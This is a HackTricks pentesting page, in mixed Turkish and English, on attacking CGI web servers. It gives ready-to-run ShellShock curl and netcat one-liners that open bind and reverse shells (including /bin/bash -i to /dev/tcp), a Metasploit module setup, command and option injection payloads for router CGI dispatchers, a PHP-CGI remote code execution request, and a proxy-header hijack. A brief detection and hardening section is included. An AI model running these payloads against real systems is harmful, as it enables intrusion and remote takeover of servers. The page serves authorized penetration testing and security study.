CGI Pentesting

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bilgi

The CGI scripts are perl scripts, bu nedenle .cgi dosyalarını çalıştırabilen bir sunucuyu ele geçirdiyseniz bir perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl) yükleyebilir, uzantıyı .pl'den .cgi'ye değiştirip, çalıştırma izinleri verebilir (chmod +x) ve ters kabuğa web tarayıcısından erişip çalıştırabilirsiniz.
CGI zafiyetlerini test etmek için nikto -C all (ve tüm eklentiler) kullanılması önerilir.

ShellShock

ShellShock, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan Bash komut satırı kabuğunu etkileyen bir vulnerability'dir. Bash'in uygulamalar tarafından geçirilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan environment variables'ların manipülasyonunda yatar. Saldırganlar, environment variables'a kötü amaçlı kod ekleyerek bunu sömürebilir; değişken alındığında eklenen kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır.

Bu zafiyeti sömürürken sayfa bir hata döndürebilir.

Bu zafiyeti, eski bir Apache sürümü ve cgi_mod (cgi klasörü ile) kullanıldığını fark ederek veya nikto ile bulabilirsiniz.

Test

Çoğu test, echo ile bir şey yazdırmaya dayanır ve o dizein web yanıtında döndürülmesi beklenir. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayıp test edin.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (yansıtmalı, kör ve out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Merkezi CGI yönlendiricileri (seçici parametrelerle tek uç noktadan yönlendirme)

Birçok gömülü web UI'si, tek bir CGI uç noktasının (ör. /cgi-bin/cstecgi.cgi) arkasında onlarca ayrıcalıklı işlemi çoklayıp, isteği dahili bir fonksiyona yönlendirmek için topicurl=<handler> gibi bir seçici parametre kullanır.

Bu yönlendiricileri exploit etme metodolojisi:

  • Enumerate handler names: JS/HTML kazı, wordlist'lerle brute-force yap, veya firmware'i unpack edip dispatcher tarafından kullanılan handler dizelerini grep ile ara.
  • Test unauthenticated reachability: bazı handler'lar auth kontrollerini atlıyor ve doğrudan çağrılabiliyor.
  • Sistem yardımcı programlarını invoke eden veya dosyalara touch yapan handler'lara odaklan; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve baştaki tire -'yi kaçırabilir.

Genel exploit şekilleri:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Tespit ve güçlendirme:

  • Merkezi CGI uç noktalarına topicurl'ün hassas işleyicilere ayarlanmış olarak gelen kimlik doğrulanmamış istekleri izleyin.
  • Başında - ile başlayan parametreleri işaretleyin (argv option injection attempts).
  • Tedarikçiler: tüm durum-değiştiren işleyicilerde kimlik doğrulamasını zorunlu kılın, sıkı izin listeleri/tipler/uzunluklar kullanarak doğrulayın ve kullanıcı kontrollü dizeleri asla komut satırı bayrakları olarak iletmeyin.

Eski PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Temelde eğer cgi etkinse ve php "eski" (<5.3.12 / < 5.4.2) ise kod çalıştırabilirsiniz. Bu açığı istismar etmek için web sunucusunun bazı PHP dosyalarına parametre göndermeden erişmeniz gerekir (özellikle "=" karakteri göndermeden). Daha sonra, bu açığı test etmek için örneğin /index.php?-s (bkz. -s) adresine erişebilirsiniz ve uygulamanın kaynak kodu yanıt içinde görünecektir.

Ardından, RCE elde etmek için şu özel sorguyu gönderebilirsiniz: /?-d allow_url_include=1 -d auto_prepend_file=php://input ve çalıştırılacak PHP kodu isteğin gövdesinde olacak. Örnek:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Zafiyet ve olası exploitler hakkında daha fazla bilgi: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM Web sunucu istekleri için)

CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.

HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. Oturum sırasında sunucu herhangi bir istek yaparsa, Proxy: <IP_attacker>:<PORT> içeren bir header göndermeyi deneyin; böylece sunucunun yaptığı her isteği yakalayabilirsiniz.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin